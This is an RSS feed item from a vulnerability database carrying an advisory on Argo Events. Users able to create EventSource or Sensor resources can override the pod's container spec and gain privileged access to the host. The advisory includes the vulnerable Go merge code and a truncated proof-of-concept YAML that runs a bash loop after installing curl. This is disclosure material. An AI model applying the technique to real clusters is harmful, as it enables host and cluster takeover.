<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 19:16:50 +0000</lastBuildDate>
    <item>
      <title>GHSA-hmp7-x699-cvhq — Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-hmp7-x699-cvhq</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/argoproj/argo-events&lt;/p&gt;
&lt;p&gt;### Summary:&lt;/p&gt;
&lt;p&gt;A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.&lt;/p&gt;
&lt;p&gt;### Details:&lt;/p&gt;
&lt;p&gt;The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.&lt;/p&gt;
&lt;p&gt;```golang
    if args.EventSource.Spec.Template != nil &amp;amp;&amp;amp; args.EventSource.Spec.Template.Container != nil {
        if err := mergo.Merge(&amp;amp;eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
            return nil, err
        }
    }
```&lt;/p&gt;
&lt;p&gt;With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.&lt;/p&gt;
&lt;p&gt;Here is an example that demonstrates the vulnerability.&lt;/p&gt;
&lt;p&gt;```
apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: &amp;#34;12000&amp;#34;
      endpoint: &amp;#34;/webhook&amp;#34;
  template:
    container:
      image: ubuntu:latest
      command: [&amp;#34;/bin/bash&amp;#34;]
      args: [
        &amp;#34;-c&amp;#34;,
        &amp;#34;apt-get update &amp;amp;&amp;amp; apt-get install -y curl &amp;amp;&amp;amp; while true; do
         r…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/argoproj/argo-events&lt;/p&gt;
&lt;p&gt;### Summary:&lt;/p&gt;
&lt;p&gt;A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.&lt;/p&gt;
&lt;p&gt;### Details:&lt;/p&gt;
&lt;p&gt;The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.&lt;/p&gt;
&lt;p&gt;```golang
    if args.EventSource.Spec.Template != nil &amp;amp;&amp;amp; args.EventSource.Spec.Template.Container != nil {
        if err := mergo.Merge(&amp;amp;eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
            return nil, err
        }
    }
```&lt;/p&gt;
&lt;p&gt;With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.&lt;/p&gt;
&lt;p&gt;Here is an example that demonstrates the vulnerability.&lt;/p&gt;
&lt;p&gt;```
apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: &amp;#34;12000&amp;#34;
      endpoint: &amp;#34;/webhook&amp;#34;
  template:
    container:
      image: ubuntu:latest
      command: [&amp;#34;/bin/bash&amp;#34;]
      args: [
        &amp;#34;-c&amp;#34;,
        &amp;#34;apt-get update &amp;amp;&amp;amp; apt-get install -y curl &amp;amp;&amp;amp; while true; do
         r…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-hmp7-x699-cvhq</guid>
    </item>
  </channel>
</rss>
